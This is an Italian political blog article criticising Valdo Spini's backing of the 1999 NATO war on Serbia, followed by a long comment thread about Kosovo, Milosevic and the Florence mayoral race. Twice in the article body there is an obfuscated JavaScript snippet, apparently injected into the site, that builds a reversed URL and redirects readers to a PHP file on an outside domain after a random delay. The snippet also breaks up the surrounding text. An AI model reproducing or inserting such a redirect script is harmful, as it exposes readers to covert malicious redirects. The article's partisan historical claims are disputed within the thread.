Spini: «La guerra in Kosovo? Una semplice azione militare»

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«Non è una guerra contro la Serbia, definì il 26 marzo 1999 l’attacco Nato alla Serbia. 78 giorni di bombardamenti, 25.000 voli dei caccia della Nato che, per la prima volta nella sua storia, attacca un paese che non ha commesso aggressioni fuori dai suoi confini. Il bilancio finale delle bombe “intelligenti” è di 527 civili, 426 soldati serbi, 114 poliziotti serbi uccisi. A cui va sommata la mancata tutela dei kosovari in difesa dei quali la guerra fu scatenata: 2018 sono state infatti le vittime della violenza e delle persecuzioni a guerra finita.

Valdo Spini – oggi c (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andidato “di sinistra” a sindaco di Firenze per Rifondazione Comunista, Comunisti Italiani, Verdi e Repubblicani Europei – fu un convinto assertore della guerra, naturalmente mitigata da dichiarazioni “contro” la guerra. La retorica delle “missioni umanitarie” era agli albori…

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2009/04/kosovo.jpg”>Una madre cerca il figlio scomparso durante la guerra in Kosovo
Una madre cerca il figlio scomparso durante la guerra in Kosovo

Il 1 aprile 1999, ad una settimana dall’inizio del conflitto, si oppone al “cessate il fuoco” giustificando questa scelta con la “gradualità” dell’attacco Nato e contro le volontà di Milosevic. Liquida la proposta di tregua fatta dal Pdci, oggi suo alleato, con un niet: «Siamo in una alleanza, dobbiamo muoverci insieme». Nella stessa occasione Spini rinsalda la posizione di fedele e leale amico degli USA, che negli anni ringrazieranno nominandolo presidente del consiglio scientifico della Fondazione Italia-Usa e garantendo al candidato sindaco il voto delle Università USA a Firenze: «Un disimpegno [italiano, ndr] non avrebbe senso anche perché gli americani potrebbero benissimo fare a meno delle nostre basi aeree». Quindi una guerra da cui l’Italia sarebbe potuta stare lontano diventava utile per meglio posizionarla sullo scenario internazionale.

E infatti, il 12 luglio successivo, Spini rivendica il comando della missione Kfor e cerca di espandere l’egemonia italiana al di là del mare. Ritiene infatti «che l’Italia abbia offerto un grande contributo, non soltanto mettendo a disposizione le proprie basi ma anche affrontando disagi come le bombe scaricate in Adriatico. A questo si deve aggiungere il nostro impegno naturale rispetto all’area dei Balcani per motivi geopolitici: penso quindi sia giusto esprimere adeguatamente questo ruolo attraverso un comando italiano».

Insomma aver contribuito all’organizazione e alla realizzazione di una guerra che ha ucciso migliaia di persone, distrutto città serbe, inquinato l’ambiente con il cancerogeno uranio impoverito, devastato il patrimonio secolare della Chiesa serba ortodossa, val bene, come premio, un comando militare fuori dal nostro paese e in contraddizione con l’articolo 11 della Costituzione repubblicana.

Spini, rotella importante di un meccanismo transnazionale, mostra però anche un volto umano preoccupandosi della sorte dei militari italiani dislocati a Pec e a Decani. A loro prospetta un aumento di stipendio per quanto riguarda le missioni all’estero. La stessa indulgenza non viene riservata alle tante famiglie in fuga dal conflitto. Nei giorni più drammatici della guerra scoppia infatti l’emergenza profughi, centinaia di migliaia di persone non gradite dal regime serbo vengono allontanate dai confini del Paese. Valdo Spini liquida l’emergenza umanitaria così: «L’espulsione dei profughi è il tipo di bombardamento che fa Milosevic» e che quindi la Nato non può sospendere i bombardamenti «mentre continua questo attacco nei confronti della popolazione del Kosovo».

La guerra fu voluta dagli Stati Uniti d’America e la sua cronaca di devastazione e barbarie è disponibile nel dossier predisposto da Peacelink. Nel 1999 il presidente del consiglio era Massimo D’Alema, compagno di partito (DS) di Valdo Spini, che aveva assicurato al Parlamento che la strategia Nato si sarebbe concentrata su «obiettivi di esclusiva rilevanza militare» (discorso alla Camera dei Deputati, 26 marzo 1999).

La tragedia non finì con il cessate il fuoco. A causa dell’utilizzo di armi all’uranio impoverito molti militari italiani si ammalano di cancro e iniziano a morire una volta tornati a casa. Il 17 aprile del 1999 il portavoce della Nato, il generale Giuseppe Marani, dichiara che i «proiettili anticarro con uranio esaurito sono stati usati dai piloti alleati contro le forze serbe in Kosovo» aggiungendo però come questi proiettili «non comportano alcun rischio» perché hanno un livello di radioattività «non superiore a quello di un orologio». L’Osservatorio Militare (associazione che assiste gli appartenenti alle forze armate e i loro familiari) è però in possesso di un dossier secondo cui sono «2.536 militari italiani affetti da patologie tumorali, di cui 164 deceduti» (naturalmente non tutti in Kosovo ma anche in altri scenari internazionali di “guerra umanitaria” a cui l’Italia ha partecipato in questi anni). Ultimo a morire Fabrizio Di Nino, Sottufficiale dell’Aeronautica Militare in Kosovo, deceduto il 21 aprile del 2009 a 32 anni.

* Tutte le dichiarazioni sono state rilasciate dall’onorevole Valdo Spini all’Agenzia ANSA

0 Comments

  1. Claudio gherardini

    I bombardamenti nato furono uma follia m’a sostenere che milosevic non ha gestito larga parte del massacro balcanico è falso e vergognoso. Vi ricordo che la guerra iniziò nel 1991. Mancate di rispetto a migliaia di bogniacchi massacrati da armi controllate da belgrado. Questo revisionismo sul periodo 1991/1999 mi fa pietà. Claudio Gherardini

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  2. red

    Nessun revisionismo, ma un piccolo approfondimento sull’esperienza di Valdo Spini, presidente della Commissione difesa della Camera e quindi meccanismo fondamentale tra azione di governo e sostegno parlamentare al governo stesso per portare avanti la guerra. Qui ci fermiamo.
    Anche per noi, come per te, i bombardamenti furono una follia. Continuiamo a pensarla così ed è per questo che reputiamo oscena la candidatura Spini per la stessa parte politica che all’epoca indossava i cartelli con su disegnati i target civili su Belgrado. A quanto pare l’opportunismo elettorale di certi partiti non ha fine. Arriva a calpestare anche le vite umane, anzi le vittime innocenti di una guerra.

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  3. Comunardo

    Visto che siete così “puri e duri” spiegherete anche come mai la De Zordo alle provinciali ha fatto l’accordo con Rifondazione?

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  4. red

    Caro Comunardo, qua nessuno è duro e puro. Ma posso chiederti qual è la fonte della tua informazione? Purtroppo è poco affidabile in quanto dice una cosa falsa. PerUnaltracittà non ha fatto nessun accordo con Rifondazione in Provincia, e infatti andrà da sola anche lì chiedendo il voto di chi non vuole nessun compromesso futuro con il Pd e non vuole essere preso in giro, semplicemente. Spini e Ferrero nel loro accordo romano hanno invece scelto di andare insieme anche in Provincia.

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  5. giovanni

    DOVETE CERCARE ROBA VECCHIA DI 10 ANNI PER ATTACCARE SPINI?
    Il resto del messaggio, contenente offese, è stato troncato.

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  6. red

    Le contraddizioni sono tante anche al presente. Basti citare in politica economica la convivenza dei Repubblicani con i Comunisti. Ma possiamo restare benissimo sul piano locale: i rifiuti, si inceneriscono o no? Con la Tav, si passa sotto o no? e via dicendo…
    E’ comunque interessante notare come l’uccisione di civili inermi possa passare in secondo piano per gli elettori di Spini, in nome di una realpolitik comunale.

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  7. claudio gherardini

    La frase agghiacciante del testo su Spini è sulla Serbia che definite: ” un paese che non ha commesso aggressioni fuori dai suoi confini.”. Questa è una vergognosa falsità. Se volete organizziamo un incontro per coloro che non sanno che la guerra è iniziata nel 1991 e non nel 1999.

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  8. Comunardo

    Quindi il vostro avversario è Rifondazione non Spini e nemmeno il Pd o in centrodestra?
    Il resto del messaggio, contenente offese, è stato troncato.

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  9. red

    Prendiamo atto che un partito come Rifondazione ha scelto un candidato con un passato di guerra e che i vertici di tale partito lo hanno fatto senza battere ciglio. Al contrario molti iscritti della base PRC hanno contestato fino in fondo questa scelta opportunista. Li ricordiamo a tutte le manifestazioni contro la guerra e a fianco di Ornella De Zordo nelle scelte politiche di questi ultimi 5 anni.
    Su cosa perUnaltracittà pensa di Pd e delle destre pensiamo che chiunque sia dotato di un minimo di onesta intellettuale possa rispondere alla tua domanda.

    A Claudio sulla Serbia, fonte Le Monde Diplomatique: Une guerre de l’OTAN

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  10. claudio gherardini

    Io ho diverse fonti dirette e sono anche in grado di testimoniare direttamente. Milosevic è stato il primo a organizzare le aggressioni, seguito poi da altri ovviamente. Sono quasi venti anni che la sinistra italiana è spaccata e in parte revisionista e mistificatrice. Sostenere che il governo serbo era innocente è veramente una vergogna penosa. Io sono stato a Pristina prima del marzo 99. Se volete ne parliamo direttamente e chiediamo a qualche testimone di venire a parlarci. Il pensiero unico in questo caso è criminale. Io non ho niente contro il popolo serbo e ho amici di tutte le parti. Bombardare Belgrado per aiutare i kosovari albanesi è stato criminale e inutile. Finanziare la nascita dello Stato del Kosovo è stato semplicemente ILLEGALE. Ma dire che Milosevic è una vittima è veramente offensivo alla Ragione e ai morti, molti dei quali sono ancora nelle fosse comuni. Armi, Direzione strategica e politica erano tutte nelle mani di Milosevic che ha deciso nel 1990 che per “sedare” i croati si doveva bombardarli e poi che si poteva anche cancellare i musulmani di bosnia, traditori dal 1300. Mi sarei stancato di ripetere queste cose ma ogni volta penso che chi descrive Milosevic come un povero innocente è veramente un bieco ignorante. I Serbi hanno un grande futuro e una grande capitale e mi auguro che prevalga la parte illuminata, per esempio Biljana Srblijanovic e non certo Kusturica che era il Nanni Moretti bosniaco e ora è il Giuliano Ferrara degli ultranazionalisti belgradesi. Qaundo volete ne parliamo ma forse il pensiero unico è più comodo.

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  11. red

    Caro Claudio, prendiamo volentieri atto della tua frase “Bombardare Belgrado per aiutare i kosovari albanesi è stato criminale e inutile.” E’ di una evidenza e di una violenza tale che è proprio per questo che rimaniamo scandalizzati dalla candidatura Spini e per questo ne scriviamo.
    Da qui a farci passare per dei sostenitori del regime di Milosevic…

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  12. claudio gherardini

    Bene, comunque le fonti in materia di guerra vanno diversificate visito che i balcani sono un ring globale con vari sponsor contrapposti. Riguardo a Spini non ho parole comunque. Sono su posizioni molto diverse dalle vostre, propendo per stare “dentro” al gioco per cambiarlo da dentro. Sto con il PD un po come Ale Santoro sta con il Vaticano, per cambiarlo da dentro. Il voto mi interessa utile altrimenti me ne sto a casa. Stavo con Daniela Lastri e ho votato alle primarie e ora sto ai patti e voto Renzi. Sarà più dirompente? Staremo a vedere, non ho mai cercato di fare “davvero” politica a parte nel 1992 quando presi 657 preferenze “non cammellate” nella lista del movimento della Rete. Ora ho la tessera del PD e anche del Partito Radicale transnazionale non violento. In bocca al Lupo!

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  13. astroboy

    va fuori dalle mie comprensioni come spini possa rappresentare il nuovo, il progresso, e, in definitiva, ciò che io sento come “sinistra”.
    Io sono con tutto me stesso con la De Zordo!

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  14. il polemico

    Ma davvero spini ha la faccia di presentarsi come candidato appoggiato da rifondazione? NON CI POSSO CREDERE! Il primo fautore della guerra di pace, che è una contraddizione in termini!
    Siamo proprio alla frutta!

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  15. red

    Claudio, anche noi siamo per il voto utile. Portare perUnaltracittà in consiglio comunale vuol dire per noi proprio questo. Garantire che all’interno del Palazzo ci sia qualcuno disinteressato, pronto a fare informazione su ciò che il potere tende a nascondere e a denunciare ciò che non funziona, anche alla magistratura se necessario. Ricordiamo come Ornella de Zordo si sia occupata nella primavera del 2005 dell’affaire Castello e delle commistioni tra Ligresti e la giunta Domenici. Quattro anni sono stati persi inutilmente fino all’autunno del 2008, quando la Procura ha aperto un’inchiesta sulla vicenda. Altro che utile il voto a perUnaltracittà! E’ utilissimo!!! E’ anche per questo che definiamo bluff la carta Spini, l’hai mai visto all’opposizione? Anche da parlamentare della minoranza proponeva emendamenti che rafforzavano le politiche della destra… ma di questo ne riparleremo in altri articoli. Buona giornata.

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  16. Niccolò

    quanta polemicaaaaaaaaaaaa
    non capisco come mai alla provocazione “sei un ladro” si risponda “e tu puzzi” anzichè argomentare una difesa. Spini è stato coinvolto nell’atto di guerra sopra citato, fatevene una ragione e provate a spiegare perchè avete deciso di sostenerlo a dispetto di tutto, invece che dire “dovete cercare roba vecchia di 10 anni per attaccare spini”…sarà vecchia di 10 anni ma il vostro beniamino c’ha messo del suo, o anche la responsabilità è soggetta a prescrizione? Dopo 10 anni uno può dire di non aver colpe?
    Tra l’altro c’è una misinformation qui che come forma di autotutela mi si appannano gli occhiali, almeno non leggo quello che dice di certa gente tipo “oh voi che siete duri e puri spiegatemi come mai andate con PRC in provincia”; vedi amico un grande saggio mi diceva “a stare zitti ci si guadagna sempre, risparmi la fatica di parlare ed eviti il rischio di fare una colossale figura” tu hai rischiato, ti sei pronunciato su un argomento che dimostri di non conoscere e ovviamente hai fatto quella figura che potevi risparmiarti…tanto per cocludere: shit happenz when misinformation rulez.

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  17. fire

    Lasciamo dunque perdere cosa accadde 10 anni fa, su gentile invito di Giovanni e Comunardo, ma far credere che sia possibile essere un’alternativa reale, elettorale, a Renzi come si configura? Si accredita percentuali inverosimili , à la mode de Berlusconì, ha fatto un Arcobaleno 2 con partiti che hanno votato qualunque nefandezza la giunta Domenici abbia presentato, la domanda è:_come fa PRC a stare in coalizione con una persona che comunque appartiene sicuramente ad una cultura, politica,tanto diversa? E: domanda delle 100 pistole, che fa Spini al ballottaggio?

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  18. Pierluigi Ontanetti

    Io scrivo nonviolenza tutta per intero perchè è un modo di intendere la vita personale e collettiva, è un modo di intendere il mondo sia nelle relazioni che nell’economia……..
    Ancora si parla di chi a cominciato prima o dopo la guerra in kossovo o ex Jugoslavia…….a me questa disputa non interessa e non interessa neanche alla povera gente che da una parte e dall’altra del mondo subisce violenze sociali, stermino, rallestramenti, bombardamenti di tutti i tipi. NON ESISTE LA GUERRA GIUSTA O DOVEROSA………o si stà dalla parte di chi vuole la guerra e asseconda la logica della supremazia ECONOMICA MILITARE E DI POTERE, o si stà dalla parte di chi vuole superare il conflitto con lo strumento della democrazia RICONOSCENDO ALL’INTERLOCUTORE IL DIRITTO DI PAROLA!!!! Valdo Spini ha scelto la strada del potere economico e militare senza ascoltare minimamente chi in questo paese chiedeva che l’italia uscisce proprio dalla logica della guerra proponendo percorsi diversi da quello scelto dall’allora governo D’Alema. I governi successivi tutti, hanno scelto di spendere sempre più soldi per il riarmo e meno per i servizi sociali.
    I loro politici, uomini e donne dei vari governi fino ad oggi, non credono minimamente che sia possibile creare forze di interposizione e di polizia internazionale miste tra civili e agenti di polizia……..Insomma; la cultura militarista e maschilista è ancora parte integra del tessuto culturale di politici uomini e donne e Valdo Spini è tra loro. Di fatto, chi ha accettato di fare coalizione con Spini candidato a sindaco( capitale della cultura e città di pace…..) si rende politicamente e umanamente responsabile di tale scelta.
    La proposta testarda di “perUnaltracittà” “unAltraProvincia” ha alle spalle movimenti e esperienze che raccontano una STORIA OPPOSTA!!!!
    No al servizio militare alle donne; No ai contingenti militari sparsi per il mondo…No alle spese militari; No alle spese per il nucleare…No alle basi miltari tutte; CON LA DE ZORDO, insieme a Ornella, ci sono uomini e donne
    giovani e meno giovani, pezzetti di società civile fiorentina che sono stati sempre dalla parte di chi vuole la risoluzione dei conflitti con metodi di democrazia e nel rispetto del diritto proponendo progetti fattibili a sostegno di una economia di una cultura e di una politica fondate sulla giustizia sociale e mondiale.
    NOI NON ABBIAMO NEMICI!!!!!!! E i nostri avversari sono il fascismo e tutte le forme di prepotenza di arroganza e di mancanza del rispetto dei diritti anche quelli non sanciti dalle leggi umane.
    Con la lista Renzi e Spini si è aperto un confronto che sarà verificato dalla cittadinanza sulla base dei fatti e non delle chiaccherePierluigi Ontanetti(detto gigi)

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  19. claudio gherardini

    Rinnovare la politica passa attraverso strade imprevedibili. La sinistra, a parte la rivoluzione francese ha sempre perso e poi si è accontentata di fare da grillo parlante (sigh). Renzi è la giusta punizione ma non esistono peggio sordi di quelli che non vogliono sentire. Insistere su ideologie e strategie che hanno SEMPRE fallito è recidivo atto suicida. Se Renzi unisce persone molto diverse tra loro dove sta il problema? Anzi! Il problema arriva quando si manca alla parola data. Vedi Di Pietro con Veltroni e Veltroni con Pannella, tanto per fare un esempio…….

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  20. red

    A proposito di missioni umanitarie, ecco una notizia di oggi:

    Afghanistan, militari italiani sparano contro auto
    uccisa bambina di 13 anni, feriti tre passeggeri

    HERAT – Una bambina afgana di 13 anni è morta e tre persone sono rimaste ferite questa mattina in un incidente che ha visto coinvolta una pattuglia di militari italiani. Lo ha reso noto il comandante del contingente, il generale Rosario Castellano, precisando che l’incidente ha avuto luogo intorno alle 11 ora locale, a quattro chilometri a sud di Camp Arena, la base dove ha sede il comando regionale della zona ovest dell’Afghanistan.

    Una pattuglia italiana composta da tre mezzi ha incrociato lungo la strada un’auto che procedeva in senso opposto. La pattuglia italiana, ha riferito Castellano, ha adottato le procedure previste: avvertimento con la mano, con un grido, lampeggiando con gli abbaglianti, infine sparando colpi in aria. Ma la vettura ha continuato a procedere a forte velocità verso la pattuglia italiana. Giunta a meno di dieci metri dal convoglio italiano, il mitragliere ha fatto fuoco prima sul terreno poi sul cofano della vettura.

    Sempre seguendo le procedure previste, la pattuglia italiana ha quindi proseguito il percorso. Solo in seguito si è avuta conoscenza della morte della bambina e del ferimento degli altri tre occupanti la macchina: un uomo e due donne, il padre e la madre della bambina e una terza donna. Sono in corso in questo momento le indagini per chiarire la dinamica precisa dell’incidente e per stabilire le cause del decesso della bambina. Il comandante Castellano incontrerà a breve il governatore della regione.

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  21. Carlo Giugni

    Non risco proprio a capire come possa essere possibile paragonare Ornella De Zordo a Valdo Spini. O meglio la speranza di una nuova politica partecipata, con contenuti profondi e coerenti con la modernità ad un vecchio arnese della politica degli anni di craxi forlani e andreotti (anzi da prima).
    Ragazzi, torniamo alla realtà! Per favore….

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  22. Lisa

    Non capisco bene Claudio… siccome le idee di sinistra hanno sempre fallito, allora va bene buttarsi a destra? cosa vuol dire con questa premessa cambiare le cose dal di dentro?

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  23. fiorentino

    è veramente scandaloso che persone presunte di sinistra invece di attaccare la politica centrista e vicina a CL e Opus Dei di Renzi e del PD e quell’altro fantoccio di Galli invece si concentrino su dichiarazioni di 10 anni fa di Spini, un galantuomo, un riformista laico serio, e pure un atlantista. Si, non vi piacerà ma la sinistra mica la rappresentate solo voi, ha sempre avuto piu anime. L’astio nei confronti di Spini è solo un favore (magari anche prezzolato) a Renzi e Galli e è solo motivato dalla rancorosità di nullità di fronte a un politico criticabile certo… ma che è stato colui che a Roma tanto ha fatto per Firenze, colui CHE HA SOSPESO LA LEVA con una legge da lui firmata. PAcifisti da quattro soldi e dalla memoria corta, pensate anche a questo …

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  24. claudio gherardini

    Ciao Lisa
    cerco di spiegarmi meglio per punti:
    Se la sinistra a perso sempre la colpa è della sinistra. La colpa è di chi perde non di chi vince.
    Le idee di sinistra sono preziose ma evidentemente nessuno è riuscito a comunicarle in modo che riscuotessero consensi democraticamente.
    Ne deduco che le idee hanno camminato su gambe sbagliate. metodi di divulgazione sbagliati e pratica politica deleteria.
    Ad oggi mentre il popolo (operai in testa) vota a destra pensare di riscuotere consensi usando i metodi che fino a oggi non hanno portato che sconfitte mi sembra ulteriormente suicida.
    Invece più perde e più la sinistra diventa isterica e intestardita e sempre meno sarà presa in considerazione.
    Lasciamo che Renzi vinca perchè sarà comunque meglio di Galli (sob) che è un prestanome grottesco. Poi sorvegliamo Renzi che mantenga un comportamento politico progressista.
    Andiamo a prendere l’elettorato dove si trova e poi se saremo bravi e tenaci e non useremo i metodi perdenti riusciremo a invertire la tendenza.
    Questo è il mio pensiero. Cuore a sinistra e azione dove necessario.
    Se pensi che ci siano altre soluzioni nella tragedia attuale meglio!

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  25. da Gaetano Stella

    Cari compagni, cara Liberazione, caro manifesto… io non so se esiste un luogo dove poter discutere
    delle liste e delle elezioni amministrative e europee. So solo che siamo stati esclusi di nuovo da tutto.
    Chi? Il popolo dei senza-tessera di partito… ma con quella di militanti sindacali, sociali, ecc.
    Non è bastata la sconfitta d’Aprile. Dov’è il rinnovamento la rifondazione il “comunismo” o “la sinistra”? Nessuno ha potuto discutere decidere votare liste persone programmi . Siamo ritornati all’antico al vecchio al sicuro simbolico stagionato. Con la quasi certezza del non raggiungimento del quorum nelle liste ex-arcobaleno e con il riciclo di vecchie cariatidi sempregiovani un pò qua un pò là. Dà fastidio l’uso strumentale di lavoratori che non è “previsto” siano eletti. E la riproposizione dei “capi” in testa di lista…come una volta… e delle personalità (?). Con qualcuno che fece la guerra facendo finta di no… per non rompere il centrosinistra della GUERRA GIUSTA.
    Sarà difficile votare a Firenze. Perchè al Berlusconide Renzi che piace alla Binetti non si può contrapporre
    Spini il marcescente in carriera eterna politicante di professione in pensione … E’ nuovo ? Quali meriti ha acquisito questo signore se-dicente “socialista”?
    Ha avuto forse a che fare con le lotte i movimenti di questi anni? In che modo in che senso? Spini è la sinistra? Rifondazione che appoggia Spini dopo il congresso dello scannamento e del rinnovamento (?) è la tragedia della politica che non cambia. Renzi candidato a sindaco è il logico fallimento della finta diversità toscana.
    Solo la De Zordo esce un pò dal coro con un tentativo di rappresentanza dal basso. Ma nessuno, proprio nessuno ,pratica democrazia e partecipazione. Quella vera quella di tutti. Quella che poteva e doveva dare a Firenze e non solo una sola lista alla sinistra del Pdl e del Pd meno elle. Sarà difficile votare a Firenze.
    (lettera ad oggi non pubblicata dai giornali della sinistra)

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  26. Lisa

    Claudio, certo ci sono tanti modi di leggere le cose… a me non pare che candidare Renzi ci farà riconquistare gli operai, e che il suo modo di comunicare possa essere efficace per quella fetta che si è spostata a destra. Mi pare invece che così si perdano anche quei pochi testoni che a destra proprio non riescono a votare… Non pensi che la sinistra dovrebbe essere capace di proporre una visione diversa della città, soluzioni diverse per i conflitti sociali, non pensi che per recuperare credibilità dovrebbe essere più coerente, pulita e, parolone necessario, etica? O ci dobbiamo sempre accontentare del male minore?
    Quanto agli errori di comunicazione, senz’altro ci sono e ci sono stati… ma forse le cose sarebbero più semplici se (per tacere del monopolio dei mass media) chi lavora nella comunicazione facesse il suo dovere, ovvero avesse più coraggio di rischiare invece di farsi una comoda tana e accucciarsi ai piedi del potere di turno.

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  27. claudio gherardini

    Cara Lisa

    l’analisi condivisa in buona parte ci porta a metodi esattamente opposti. Questo ha diviso la sinistra a partire dagli anni 70 per poi arrivare a una spaccatura totale nei Balcani (vedi intervento di Ontanelli che per me presenta aspetti agghiaccianti). Io sono convinto che gli operai che votano a destra possano votare proprio Renzi e che la sinistra non si mai accontentata del male minore e che anzi si sia rovinata proprio per voler rimanere dura e pura. A me dei pochi che ancora si ostinano a usare metodi perdenti non interessa niente e quei pochi rimasti a sinistra lì rimarranno, sempre che non decidano di stare a casa mostrando così tutto il male possibile: il tanto peggio tanto meglio. I valori sono primari e proprio su quelli bisogna battersi e pesare su Renzi e tutti gli altri. Sui valori si dovrà tornare a vincere. ll problema è che i valori vengono usati per fare demagogia e populismo!
    Il bagno necessario alla sinistra per rifondarsi durerà molti anni e sono convinto che tutte le attuali forme che conosciamo dovranno essere spazzate via. Ci sono persone di valore ed eticamente notevoli anche a destra e magari un giorno saranno quelle a darci una mano a evitare la catastrofe finale.
    Sono convintissimo che se chi perde non cambia ma si ostina a forzare ancora gli stessi metodi perdenti da decenni perderà ancora e parecchio.
    Saltare steccati , evitare chi fa demagogia e populismo e cercare quelli sani dovunque siano per battere questa maggioranza di tragici pagliacci e poi ci ridivideremo magari tra qualche anno quando i clown saranno scomparsi.
    Per quanto riguarda l’informazione io ho mantenuto sempre un comportamento dritto. Non ho mai nemmeno cercato di scrivere su testate “importanti”, ho prodotto un giornale mio dopo aver contribuito a una radio “mia” e poi sono rimasto disoccupato per non avere mai baciato pile di nessuno (i miei mobizzatori sono sempre stati di sinistra ahahah). Ora cerco di salvarmi dalla miseria tentando internet e sempre senza farmi sottomettere da nessuno. Non vorrei mai essere dipendente pubblico e non sono mai stati dipendente di nessuno. Vorrei che Renzi fosse eletto e poi cercherò di sfidarlo a essere a posto senza trucchi. Staremo a vedere. Ma se non avesse bisogno di ballottaggi sarebbe meglio. Chiedi a chi vive dove governa la destra.
    Ti chiamo per le Drina e un caffè!! (coffe and sigarettes)

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  28. Lisa

    Vabbè, se per te Renzi è sano, votalo. Ce le siamo già dimenticate, le telefonate con Cioni, ad esempio? o le dichiarazioni sull’inceneritore? e sull’inutile vuoto della Piana? boh..
    Ma perché nel tuo lavoro non hai accettato compromessi e “cambiato le cose da dentro”, e invece in politica speri di sì?
    Comunque io non fumo…

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  29. claudio gherardini

    Cara Lisa io ho sempre saputo che la pensiamo in modo parecchio diverso e proprio con le persone con le quali non sono d’accordo trovo più interessante e produttivo il confronto. Sapevo anche che non fumi ma le Drina le ho comperate pensando di aver poi il tempo e l’occasione per fare due chiacchiere. Ritengo che tolleranza e civiltà siano innanzitutto confronto con chi la pensa diversamente al fine di trovare magari tratti e momenti di collaborazione. Se Renzi farà male finirà malissimo ma non per merito di chi non è disponibile a giocare sul suo stesso piano. Mi sembra sintetica la tua risposta al mio scritto e me ne dispiace. Io sogno una realtà dove persino la famiglia (primo avamposto di ogni controllo sociale) scompaia. Le mie posizioni teoriche sono estreme e per questo a livello personale e professionale non sono sceso a compromessi quasi mai. La politica pubblica e collettiva in una democrazia è invece un campo di battaglia dove per essere non violenti, collaborativi, positivi, efficaci e utili, si deve scendere sempre a compromessi perchè si devono rispettare le altre posizioni (se non violente e a loro volta rispettose) per arrivare al MIGLIOR COMPROMESSO POSSIBILE. Priorità resta quella di battere l’avversario, quello vero, (non Renzi ma Galli) e non vivacchiare sulle spalle di chi si critica come fanno in tanti. Io ritengo che Renzi possa convincere tanti di coloro che voterebbero a destra a cambiare idea. Una volta cambiata idea bisognerà trattarli bene e conservarceli quei voti per magari suggerire ulteriori spostamenti a sinistra. Insomma per portare gli italiani davvero a sinistra bisogna andare a prenderli dove sono e non dove non sono. Io non ho paura di inquinarmi a frequentare gente diversa. II mio slogan personale sin dal tempo del Forum è non “un altro mondo è possibile” (demagogico e illusorio visto che il mondo è questo e non ce ne sono altri), ma UN COMPROMESSO MIGLIORE DEVE ESSERE SEMPRE POSSIBILE. Dritti nel privato e nella professione e elastici nel pubblico e nella politica, non il contrario: Impiegati di banca o dipendenti comunali il giorno e che guevara dopo cena!!! In ogni caso vorrei poterti invitare per un caffè. claudio

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  30. mali

    la necessità di dissentire da Gherardini è forte. Quì non si tratta di compromessi si tratta della capacità di governare e il candidato del centro- sinistra non ce l’ha. E’ una persona piena di astio e presuntuoso che divide, non sa ascoltare, se non quelli che lo adulano, proprio come te. Mi ricorda qualcuno…….Berlusca, o con me o contro di me. No non ci siamo….Mi sembra più giovane e attuale nelle idee e capace di buon governo Valdo Spini. Spiegami mai come in questa tornata elettorale ci sono tanti candidati sindaci. Un motivo c’è: è che non ci si fida del candidato del centro-sinistra

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  31. Giuliana Nascimbeni

    Siamo davvero alla burletta! Spini giovane, attuale e capace?!? Ma avete letto le cose che dice? Ieri ha citato il sindaco La Pira, naturalmente cercando di “arruolare” l’immagine di un politico che ha lottato davvero per la pace tra i popoli pro domo sua. Per comprendere chi è Spini cito dall’articolo principale di questi commenti: “Nei giorni più drammatici della guerra scoppia infatti l’emergenza profughi, centinaia di migliaia di persone non gradite dal regime serbo vengono allontanate dai confini del Paese. Valdo Spini liquida l’emergenza umanitaria così: «L’espulsione dei profughi è il tipo di bombardamento che fa Milosevic» e che quindi la Nato non può sospendere i bombardamenti. ” Alla faccia di La Pira, che si starà girando certamente nella tomba!!!

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  32. claudio gherardini

    Se passiamo agli insulti smetto di scrivere ovviamente. Non sarebbe la prima volta che vengo insultato da “pacifisti”. Non capisco come fai Mali (perché poi anonimi?) a capovolgere la frittata. Da cosa si capisce che io ascolto solo quelli che la pensano come me? Non avrei scritto qua e non avrei cambiato idea diverse volte in vita mia aggiustandomi dove meglio mi sentivo dopo varie svolte e esperienze. Comunque la fiducia è una cosa seria e io cerco di darla a tutti in partenza, dopo vedremo e giudicheremo. Non ho mai fatto parte delle schiere massimaliste e oltranziste ma so anche essere severo. Nessuno comunque ha risposto alla sostanza dei miei post. Riassumo: 1) se abbiamo sempre perso di chi è la colpa? 2) insistere nello stesso modo di fare politica dopo decenni di sconfitte è giusto?
    In ogni caso la storia va avanti anche se siamo ostinati a credere che i metodi usati in passato sono ancora validi. Continueremo a perdere allora? Ho letto che Liberazione ha attaccato gli operai che votano a destra come fossero dei deficienti. E’ questo il sistema di riconquistare consenso? Pensate davvero che la maggioranza degli italiani sia impazzita?
    Io non ho mai votato PCI e non ho mai fatto parte di gruppi politici sino al 1992. Già nel 74 mi sembrava che la politica di Lotta Continua e affini fosse vecchia sul nascere. Oggi siamo più o meno ancora a quel punto, salvo che se avessi aderito al tempo sarei diventato anche io un direttore di qualche testata a caso. Il mio sforzo è sempre stato cercare di capire chi la pensa diversamente da me e eventualmente come poter fare a giungere a un compromesso accettabile per lavorare assieme.
    Ora mi sembra che siamo alla frutta. Tutti incancreniti sulle proprie posizioni. Gli altri sono nemici.
    Ma pensate che la De Zordo Sindaco potrebbe fermare il termovalorizzatore? Solo se il suo partito avesse il 51 per cento dei consiglieri. Solo con la maggioranza assoluta si fa quello che si è detto esattamente, invece in genere si fanno compromessi con gli alleati.
    Alla maggioranza assoluta rischia di arrivare il cavaliere e allora saranno guai seri davvero. Questo è l’obbiettivo primario. Evitare Galli, del quale invece non mi sembra che ci si preoccupi troppo a sinistra. Evitato Galli saranno fatte alleanze e compromessi che andranno rifiutati se inaccettabili.
